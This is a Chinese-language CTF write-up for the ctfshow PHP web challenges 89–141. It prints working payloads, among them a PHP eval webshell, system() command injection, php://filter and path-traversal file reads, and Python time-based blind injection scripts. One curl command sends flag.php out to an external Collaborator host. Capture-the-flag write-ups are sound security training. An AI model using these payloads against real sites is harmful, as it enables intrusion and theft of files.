web89
<?php
include("flag.php"); highlight_file(__FILE__);
if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } }
|
就是说,传一个数,要是数,但不是阿拉伯数字,
使用数组绕过
原理是说,intval()函数,如过里面传的是数组,都会返回一个0,所以构造payload
就行了,得到flag
web90
<?php
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }else{ echo intval($num,0); } }
|
传入一个值,首先不能直接等于4476,接着intval()后要等于4476,返回flag
采用进制转换
4476=010574(八进制)
得到flag
web91
<?php
show_source(__FILE__); include('flag.php'); $a=$_GET['cmd']; if(preg_match('/^php$/im', $a)){ if(preg_match('/^php$/i', $a)){ echo 'hacker'; } else{ echo $flag; } } else{ echo 'nonononono'; }
|
就是说,传入字符串,进行两个正则检测,第一个检测多行,要带有”php”,第二个只检测一行,不能带”php”,那就用%0a进行一次换行
构造payload
得到flag
web92
<?php
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); } }
|
跟上面的差不多,进制转换还能做
web93
一样的,用进制转化做
web94
<?php
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==="4476"){ die("no no no!"); } if(preg_match("/[a-z]/i", $num)){ die("no no no!"); } if(!strpos($num, "0")){ die("no no no!"); } if(intval($num,0)===4476){ echo $flag; }
|
开头不能带0,但可以搞个正号+,就绕过去了
web95
<?php
include("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if($num==4476){ die("no no no!"); } if(preg_match("/[a-z]|\./i", $num)){ die("no no no!!"); } if(!strpos($num, "0")){ die("no no no!!!"); } if(intval($num,0)===4476){ echo $flag; } } no no no!!!
|
坏了,符号不给用了,那就用空格,前面直接加个空格就行
web96
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){ if($_GET['u']=='flag.php'){ die("no no no"); }else{ highlight_file($_GET['u']); }
}
|
我们来猜一下默认路径
就有flag了,
看了别的方法,有加./的,有用filter伪协议读取的
web97
<?php
include("flag.php"); highlight_file(__FILE__); if (isset($_POST['a']) and isset($_POST['b'])) { if ($_POST['a'] != $_POST['b']) if (md5($_POST['a']) === md5($_POST['b'])) echo $flag; else print 'Wrong.'; } ?>
|
就是说,post传俩值,要表面不同,md5后相同
用数组,因为数组不能md5,md5的值都是null
得到flag
web98
<?php
include("flag.php"); $_GET?$_GET=&$_POST:'flag'; $_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag'; $_GET['flag']=='flag'?$_GET=&$_SERVER:'flag'; highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
|
$_GET?$_GET=&$_POST:'flag';
|
当$_GET不为空时,$_GET中内容引用为&_POST中内容
中间两行基本没用,所以我们只需要让get传参不为空,在用post传参,使[‘HTTP_FLAG’]==’flag’即可
payload:
GET: XXX/?flag=flag
POST: HTTP_FLAG=flag
|
web99
<?php
highlight_file(__FILE__); $allow = array(); for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i)); } if(isset($_GET['n']) && in_array($_GET['n'], $allow)){ file_put_contents($_GET['n'], $_POST['content']); }
?>
|
开局先创建一个数组,后面生成的随机数会存放在这个数组中
接着开始生成随机数,并把随机数存放在数组中
下面if判断,get传参n不为空,接下来有一个
in_array($_GET['n'], $allow)
|
要求n在这个数组中,就是要求n的值需要等于随机值,接下来会把post的值写入n中
这里in_array()存在弱比较漏洞,如果数组中存在1,即使n=1.php也会被判定为n在数组中
payload:
GET: xxx/?n=1.php
POST: content=<?php eval($_POST[1])?>
|
多执行几次,基本都会随机出1,接下来访问1.php,进行rce,得到flag
web100
<?php
highlight_file(__FILE__); include("ctfshow.php");
$ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
?> }
|
题目直接说flag在ctfshow这个类中
这题的漏洞在于
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
|
看似是一个判断语句,要求v1,v2,v3都需要是数,实际上,因为中间用and连接,这其实是一个赋值式,将v1是否为数字赋值给v0,至于v2,v3,完全无关
接下来,需要v1是数字,v2中不含’;’,v3中必须含’;’
eval("$v2('ctfshow')$v3");
|
我们得想办法构造rce语句,想到v2,v3中间中注释,把(‘ctfshow’)就注释掉
payload:
GET: v1=1&v2=system('ls') /* &v3= */;
|
后面执行rce得到flag
web101
<?php
highlight_file(__FILE__); include("ctfshow.php");
$ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
?>
|
涉及到了序列化知识,反射类,漏洞跟前面一样,但给v2,v3设置了一堆过滤,不能用正常rce了
需要了解一个知识:ReflectionClass,通俗来讲就是可以通过一个对象来获取所属类的具体内容
这里直接echo new ReflectionClass(‘ctfshow’)就把ctfshow的类信息调出
payload:
GET: xxx/?v1=1&v2=echo new ReflectionClass&v3=;
|
web102
<?php
highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); }
?>
|
先了解新遇到的函数
默认substr(内容,起点,终点)
这里将v2的前两位去掉后赋值给$s
call_user_func(a,b),简单理解起来就是说,对b使用a方法
call_user_func(a,b)= a(b) ,懂?
所以我们想到的方法是,v2必须是数字,先找一个rce语句,先base64,在全url转码,前面带两个不需要的数
问题难在这个语句,因url编码后,仅能出现0-9,最多一个e,这样才能满足v2是数字,翻了翻别的wp,看到了
115044383959474e6864434171594473
|
这串数字,去掉开头两位后,再base64解码,正好是一个rce语句,且不含别的字母
v1=hex2bin,hex2bin()这个函数可以将url编码转回字母
file_put_contents($v3,$str);
|
接下来将v1(s)的内容写入v3,这之间还需要再进行一次base64解码,所有v3中传入伪协议写入,之后再访问该文件
payload:
GET: xxx/?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
POST:v1=hex2bin
|
web103
<?php
highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; if(!preg_match("/.*p.*h.*p.*/i",$str)){ file_put_contents($v3,$str); } else{ die('Sorry'); } } else{ die('hacker'); }
?>
|
中间有一串奇怪的过滤
preg_match(“/.*p.*h.p./i”,$str),但他对str进行正则匹配,但我们的str是一串base64,不会运气差到出现pxxxhxxxp这么怪的base64,所以上面的还能用
payload: GET: xxx/?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php POST:v1=hex2bin
|
web104
<?php
highlight_file(__FILE__); include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; } }
?>
|
很简单一题目,就是传入两个值,然后进行sha1比较,因为题目没有设置对原本的v1和v2进行比较,所以传入两个相同的值就行了,不需要看漏洞
payload: GET:XXX/?v2=1 POST: v1=1
|
web105
<?php
highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces);
?>
|
非常绕的一道题,因为flag的输出不在
echo "your are good".$flag."\n"; die($suces);
|
而在
if(!($_POST['flag']==$flag)){ die($error);
|
这道题的核心步骤,是构造一个
造成这题的误区,可能是没注意到error和suces这两个题目给定的参数内容是可更改的
先看新函数foreach()
这是一个数列遍历函数
foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }
|
将GET传入的值作为健值,去遍历数组
如果键值等于error,结束并返回一个what are you doing?!
就是说,我们get传参的内容不能带有error
foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; }
|
这个同理,就是说post传参内容不能带有flag
if(!($_POST['flag']==$flag)){ die($error); }
|
当post传入的flag不等于ctfshow{xxxx}时候,就会结束并返回一个error
所以这题的思路是,get不能带error,所有get改变suces,post不能带flag,所以在get中给suces中传入flag
这时候返回的error就是$flag
payload: GET:suces=flag POST:error=suces
|
这里需要注意的是,之所以这里变成的是$error=$suces,而不是等于字符串’suces’,是因为有 $$key=$$value,这串双$$,直接覆盖赋值,直接让参数等于别的参数中的值,$suces=$flag也是同理
web106
<?php
highlight_file(__FILE__); include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } }
?>
|
这里跟上面的就不一样了,因为还有一个v1!=v2
这里我们使用跟前面一样的数组绕过,跟md5一样,各种值的转换,数组是直接变成0的,所有这里直接用数组
payload: GET:v2[]=2 POST:v1[]=1
|
web107
<?php
highlight_file(__FILE__); error_reporting(0); include("flag.php");
if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; }
}
?>
|
这里给我晕了好久,什么叫v2[‘flag’],flag从哪来的?翻了翻才知道,这里flag是需要我们自己传入的
v1=flag=202cb962ac59075b964b07152d234b70 parse_str($v1,$v2) 这样v2['flag']=202cb962ac59075b964b07152d234b70
|
后面再将v3传入就行了
parse_str()起到一个类似数组整理的作用
echo $v2 v2= ['flag' => '202cb962ac59075b964b07152d234b70'];
|
web108
<?php
highlight_file(__FILE__); error_reporting(0); include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error');
}
if(intval(strrev($_GET['c']))==0x36d){ echo $flag; }
?>
|
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error');
|
重点看这句,
想要通过这段判断,需要让
ereg ("^[a-zA-Z]+$", $_GET['c']
|
为true
要求传入的值,开头结尾都要是字母,中间也不能包含别的内容
再看输出flag的条件
if(intval(strrev($_GET['c']))==0x36d){ echo $flag; }
|
对c这个字符串进行翻转,要求c的值与0x36d(877)若比较相同,但前面要求首位都是字母,中间也不能有数字
这时候需要用到00截断,对于传入的字符串,系统以%00结尾,我们手动传入00,让系统认为后面没东西了,但实则后面还有我们的数字
web109
<?php
highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); }
}
?>
|
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());");
|
正则匹配,v1和v2都包含字母,new $v1 创建一个名为 v1 的类的实例,($v2()) 调用 v2 方法,将其返回值作为参数传递给 v1 类的构造函数,echo 输出创建的对象,由于 echo,如果 v1 类实现了 __toString() 方法,该方法会被调用并输出结果。
payload:
?v1=Exception&v2=system('ls') ?v1=CachingIterator&v2=system(ls) ?v1=ReflectionClass&v2=system('tac fl36dg.txt')
|
web110
<?php
highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ die("error v2"); }
eval("echo new $v1($v2());");
}
?>
|
符号被禁,只能使用内置函数
filesystemiterator 遍历文件类
DirectoryIterator 遍历目录类
getcwd()函数 获取当前工作目录 返回当前工作目录
|
payload:
v1=Filesystemiterator&v2=getcwd
|
web111
<?php
highlight_file(__FILE__); error_reporting(0); include("flag.php");
function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); }
if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); }
}
?>
|
function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); }
|
假设有
$a='123' $b='456' $v1='a' $v2='b'
getFlag(&$v1,&$v2)
|
就相当于
所以这里传$v1='ctfshow'(题目要求)
给$v2传'flag',这样就相当于
ehco $ctfshow #$ctfshow=$flag
|
但是这里却返回了一个NULL,说明$flag是在flag.php中变量,在index.php无法打印出来,
这时需要用到参数GLOBALS,这个参数能将全局所有已声明变量以及值打印出来
payload:
array(8) { ["_GET"]=> array(2) { ["v1"]=> string(7) "ctfshow" ["v2"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["v1"]=> &string(7) "ctfshow" ["v2"]=> &string(7) "GLOBALS" ["flag"]=> string(45) "ctfshow{041e386e-46e5-416b-8b2b-88df832a3640}" ["GLOBALS"]=> &array(8) { ["_GET"]=> array(2) { ["v1"]=> string(7) "ctfshow" ["v2"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["v1"]=> &string(7) "ctfshow" ["v2"]=> &string(7) "GLOBALS" ["flag"]=> string(45) "ctfshow{041e386e-46e5-416b-8b2b-88df832a3640}" ["GLOBALS"]=> *RECURSION* } }
|
得到flag
web112
<?php
highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
|
直接用伪协议php://fliter读取
payload:
?file=php://filter/resource=flag.php
|
web113
<?php
highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
|
filter被禁用,换一个协议读取
payload:
?file=compress.zlib://flag.php
|
web114
<?php
error_reporting(0); highlight_file(__FILE__); function filter($file){ if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; echo "师傅们居然tql都是非预期 哼!"; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
|
伪协议读取
?file=php://filter/resource=flag.php
|
web115
<?php
include('flag.php'); highlight_file(__FILE__); error_reporting(0); function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }else{ echo "hacker!!!"; }
|
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36') is_numeric($num):检查变量$num是否为数字或数字字符串 $num !== '36':严格判断$num的值和类型都不等于字符串 '36' trim($num) !== '36':去除$num首尾空白后,严格不等于字符串 '36' filter($num) == '36':经过filter()函数处理后的值等于字符串 '36'
|
判断句用的是and链接而不是&,所以只有第一个满足即可
payload:
web123
<?php
error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
|
php特性,如果存在[]空格等,被解释为_后,后面再出现非法符号也不会消失
接着在
这里输出flag
payload:
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
|
web125
<?php
error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } } ?>
|
首先要满足输出条件
POST:
flag的输出口还是在
但echo,flag都被过滤了,采用别的方法
首先选择直接发开flag.php,打开方式选用highlight_file(),flag.php就从get方式传入
payload:
get:?1=flag.php post:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
|
web126
<?php
error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){ eval("$c".";"); if($fl0g==="flag_give_me"){ echo $flag; } } }
|
禁了几个字母,命令也基本没法执行了
那就试着满足条件,让
if($fl0g==="flag_give_me"){ echo $flag;
|
直接输出flag
注意到
这个的作用
先看payload:
GET:?$fl0g=flag_give_me; POST:CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])
|
起到读取get请求的作用,get中传入?$fl0g=flag_give_me;,a[0]中的内容就是?$fl0g=flag_give_me;,把内容当指令用
下面eval()直接执行,给$flag赋值,满足if条件,输出flag
web127
<?php
error_reporting(0); include("flag.php"); highlight_file(__FILE__); $ctf_show = md5($flag); $url = $_SERVER['QUERY_STRING'];
function waf($url){ if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){ return true; }else{ return false; } }
if(waf($url)){ die("嗯哼?"); }else{ extract($_GET); }
if($ctf_show==='ilove36d'){ echo $flag; }
|
题目意思就是传入字符串,md5处理后传入$ctf_show,md5后的字符如果等于ilove36d,就给flag
但根本找不到这样的字符串,但如果想直接给$ctf_show赋值,”_”却被禁用了,这时就需要构造”_“
payload:
web128骚操作
<?php
error_reporting(0); include("flag.php"); highlight_file(__FILE__);
$f1 = $_GET['f1']; $f2 = $_GET['f2'];
if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2))); }else{ echo "嗯哼?"; }
function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str); }
|
先看
function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str); }
|
一个检测作用的函数,检测是否带有数字或字母
本体难点在于
if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2))); }
|
首先对f1进行了检测,f1中不能带有字母或数字
接着是三个函数串在一起
之前提到过,大抵意思就是f1(f2),但f1也不能是字母,这是就需要一个特殊的函数
_()==gettext(), 是gettext()的拓展函数,开启text扩展get_defined_vars — 返回由所有已定义变量所组成的数组。
|
payload:
?f1=_&f2=get_defined_vars
|
web129
<?php
error_reporting(0); highlight_file(__FILE__); if(isset($_GET['f'])){ $f = $_GET['f']; if(stripos($f, 'ctfshow')>0){ echo readfile($f); } }
|
先看函数
stripos() 函数用于在一个字符串中查找另一个字符串(子串)首次出现的位置,且不区分大小写。
示例:
$str = "Hello World!"; echo stripos($str, "world"); // 输出 6(不区分大小写,找到 "World" 位置) echo stripos($str, "abc"); // 输出 false(未找到)
|
就是说我们传入的字符串中,必须要带有完整的”ctfshow”,接着后面用readfile()去打开
这里很明显我们应该往里面传文件地址
payload:
?f=/ctfshow/../../../../var/www/html/flag.php
|
或者用伪协议读取,ctfshow放在编码那里间隔
web130
<?php
error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f, 'ctfshow') === FALSE){ die('bye!!'); }
echo $flag;
}
|
前置题目,给后面做准备的
payload:
web131
<?php
error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f,'36Dctfshow') === FALSE){ die('bye!!'); }
echo $flag;
}
|
算是一种溢出,不学pwn,不懂,总之就是,preg_match(),最多只能回溯1000000位,超过这个数后,就不再追溯
所有只需要在100万后加上’36Dctfshow’即可
exp:
import requests url="http://12e051c4-45e3-4d37-84a2-2438e30e44b5.challenge.ctf.show/" data={'f':'very'*250000+'36Dctfshow' } r=requests.post(url,data=data) print(r.text)
|
web132
打开题目,一个网页,扫一下发现了robots.txt,看了以后存在/admin/说是
打开以后才是题目
<?php
include("flag.php"); highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){ echo $flag; } } }
|
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
|
mt_sand(),伪随机,之前说过,但这题其实用不到这个
因为||的优先级是大于&&,所以只需要满足后面username的条件和下面code的条件即可
payload:
?password=&username=admin&code=admin
|
web133
<?php
error_reporting(0); highlight_file(__FILE__);
if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }
|
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }
|
禁了一些常规命令,将传入F的命令,截取前六位,进行执行,但六位太短了,根本不够
先看解决方法
这样截取前六位,`$F` ; 执行这六位,相当于再次执行了F本身,而这本事就是一个无意义的,只会接着执行;后面的命令
接着说,正常的好多命令是用不了的
这里用到了Burpsuite的一个功能Collaborator
相当于一个接收,我们将flag.php作为一个包,发送到bp这里,bp用来接收
payload:
?F=`$F`;+curl -X POST -F xx=@flag.php http://2jmde1dk75uhpol8oml2jk7kabg34tsi.oastify.com
|
后面的链接从bp中复制
对 payload 的一些解释:
-F 为带文件的形式发送 post 请求;
其中 xx 是上传文件的 name 值,我们可以自定义的,而 flag.php 就是上传的文件 ;
相当于让服务器向 Collaborator 客户端发送 post 请求,内容是flag.php。
|
web134
<?php
highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); }
|
要求,不能使用GET,POST方式,要对key1,key2赋值,得到flag
这题主要关键的地方在于
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
|
payload:
?_POST[key1]=36d&_POST[key2]=36d
|
web135
<?php
error_reporting(0); highlight_file(__FILE__);
if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } }
|
抽象,非预期解有很多
我直接
payload:
?F=`$F` ; cp flag.php 1.txt
|
web136
<?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>
|
前置一个检测函数,后面出现了exec(),与之前的可能有所不同,system()的结果会在当前反馈,翻exec()就纯执行,看不到反馈
这时需要将结果复制到别处,我们通过访问或下载来得到反馈
payload:
之后访问/1,下载文件,记事本打开,查看结果,就这样执行RCE,最后得到flag
web137
<?php
error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } }
call_user_func($_POST['ctfshow']);
|
第一次接触类
这里制作简单了解
直接调用ctfshow类中的getFlag方法即可得到flag
payload:
web138
<?php
error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } }
if(strripos($_POST['ctfshow'], ":")>-1){ die("private function"); }
call_user_func($_POST['ctfshow']);
|
相比上一题,增加了
if(strripos($_POST['ctfshow'], ":")>-1){ die("private function"); }
|
post中传ctfshow会直接结束
采用数组方法
payload:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
|
这样传入后,就会出现
call_user_func($_POST['ctfshow']); -> call_user_func(ctfshow,getFlag);
|
可以执行ctfshow类中的调用
web139
<?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>
|
跟web136看着一样,但不能那样做,没有了写入文件的权限
运用脚本,使用时间盲注,爆破出flag
import requests import time import string str = string.ascii_letters + string.digits + '_~' result = "" for i in range(1, 10): key = 0 for j in range(1, 15): if key == 1: break for n in str: payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n) url = "http://984e57b0-32df-4cad-a268-ae816b0f9185.challenge.ctf.show/?c=" + payload try: requests.get(url, timeout=(2.5, 2.5)) except: result = result + n print(result) break if n == '~': key = 1 result += " " print("Final result:", result)
|
import requests import time import string str=string.digits+string.ascii_lowercase+"-" result="" key=0 for j in range(1,45): print(j) if key==1: break for n in str: payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n) url="http://984e57b0-32df-4cad-a268-ae816b0f9185.challenge.ctf.show/?c="+payload try: requests.get(url,timeout=(2.5,2.5)) except: result=result+n print(result) break
|
web140
<?php
error_reporting(0); highlight_file(__FILE__); if(isset($_POST['f1']) && isset($_POST['f2'])){ $f1 = (String)$_POST['f1']; $f2 = (String)$_POST['f2']; if(preg_match('/^[a-z0-9]+$/', $f1)){ if(preg_match('/^[a-z0-9]+$/', $f2)){ $code = eval("return $f1($f2());"); if(intval($code) == 'ctfshow'){ echo file_get_contents("flag.php"); } } } }
|
弱比较,只要将code构造出一个0即可
payload:
f1=usleep&f2=usleep #usleep()无返回值,null传入intval()会变成0 f1=md5&f2=phpinfo f1=system&f2=system
|
web142
<?php
error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1'])){ $v1 = (String)$_GET['v1']; if(is_numeric($v1)){ $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d); sleep($d); echo file_get_contents("flag.php"); } }
|
传入一个整数,sleep d秒后,打开flag.php
直接v1=0即可
payload:
web141,web143-146
web141
<?php
highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/^\W+$/', $v3)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
|
